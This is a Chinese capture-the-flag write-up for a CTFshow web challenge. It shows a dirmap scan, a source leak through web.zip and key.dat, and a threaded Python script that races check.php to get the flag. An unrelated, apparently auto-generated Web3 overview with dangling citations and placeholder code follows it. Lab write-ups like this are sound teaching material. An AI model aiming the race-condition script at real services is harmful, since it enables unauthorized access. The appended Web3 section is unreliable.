CTFshow-web-红包题第六弹

文章讲述了在CTFshow的web挑战中,通过分析源代码和使用dirmap工具发现漏洞,利用key.dat绕过部分验证,通过并发编程快速替换sha1值以获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CTFshow-web-红包题第六弹

打开靶场,显示如下:
在这里插入图片描述
查看源代码
在这里插入图片描述
用dirmap扫描
python dirmap.py -i http://b081f96f-e568-44e3-91b5-b00eb60e0e64.challenge.ctf.show/ -lcf
在这里插入图片描述
发现web.zip目录是直接下载的,另外两个会跳转页面,但是内容是显示什么什么然后error。下载web.zip,发现check.php.bak
在这里插入图片描述
在这里插入图片描述
发现是跟key.dat比较,我们尝试在url中添加/key.dat,发现可以下载,我们利用下列代码

首先获得key.dat,首先访问一下这个文件,emmm,果然直接下载了,那么第一层的绕过我们直接就使用了key.dat文件,第二层的sha1值我们随便上传一个字符串即可,所以我们需要并发编程,将$receiveFile中的内容在极短时间内进行替换,这里我们可以编写一个python脚本来进行解题。

import requests
import time
import hashlib
import threading

#这里为什么用分钟数生成:因为通过抓包发现改变分钟后token值才会变化
i=str(time.localtime().tm_min)
#生成token
m=hashlib.md5(i.encode()).hexdigest()
url="http://b081f96f-e568-44e3-91b5-b00eb60e0e64.challenge.ctf.show/check.php?token={}&php://input".format(m)

def POST(data):
    try:
        r=requests.post(url,data=data)
        if "ctfshow" in r.text:
            print(r.text)
            pass
        # print(r.text)
        pass
    except Exception as e:
        print("somthing went wrong!")
        pass
    pass

with open('key.dat','rb') as t:
    data1=t.read()
    pass
for i in range(50):
    threading.Thread(target=POST,args=(data1,)).start()
for i in range(50):
    data2='emmmmm'
    threading.Thread(target=POST,args=(data2,)).start()

将下载的key.dat和该脚本放在同一路径下运行即可
在这里插入图片描述
找出flag

### CTFShow Web3 挑战概述 CTFShow 是一个面向网络安全学习者的在线平台,提供了多种类型的挑战供用户练习和提升技能。其中 Web3 领域的内容主要涉及区块链技术、智能合约漏洞分析以及去中心化应用的安全性测试等方面[^1]。 #### Web3 安全基础 Web3 的核心概念围绕着区块链技术和分布式账本展开。在 CTF 平台上的相关目通常会模拟真实世界中的智能合约漏洞场景,例如重入攻击 (Reentrancy Attack)[^2]、整数溢出/下溢 (Integer Overflow/Underflow)[^3] 和权限控制不当等问。这些问不仅考验参赛者对 Solidity 编程语言的理解程度,还要求他们具备一定的逆向工程能力和逻辑推理能力。 #### 常见工具与技巧 解决这类问时可以借助一些专门设计用于审计和调试 Ethereum 合约的开源软件包,比如 MythX 或 Slither 等静态分析器;同时配合 Remix IDE 进行动态交互操作以便更好地理解程序运行机制及其潜在缺陷所在之处[^4]。 以下是利用 Python 脚本来自动化完成某些特定任务的一个简单例子: ```python from web3 import Web3, HTTPProvider # 初始化连接节点实例 w3 = Web3(HTTPProvider('http://localhost:8545')) def get_contract_abi(contract_address): """ 获取指定地址下的 ABI 数据 """ pass # 实现方法省略... if __name__ == "__main__": contract_addr = '0xYourContractAddressHere' abi_data = get_contract_abi(contract_addr) # 创建合约对象 mycontract = w3.eth.contract(address=contract_addr, abi=abi_data) result = mycontract.functions.someFunction().call() print(f'Result from smart contract call:{result}') ``` 上述脚本展示了如何通过 `web3.py` 库与远程 RPC 接口通信,并调用部署于网络之上的某个已知功能接口。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值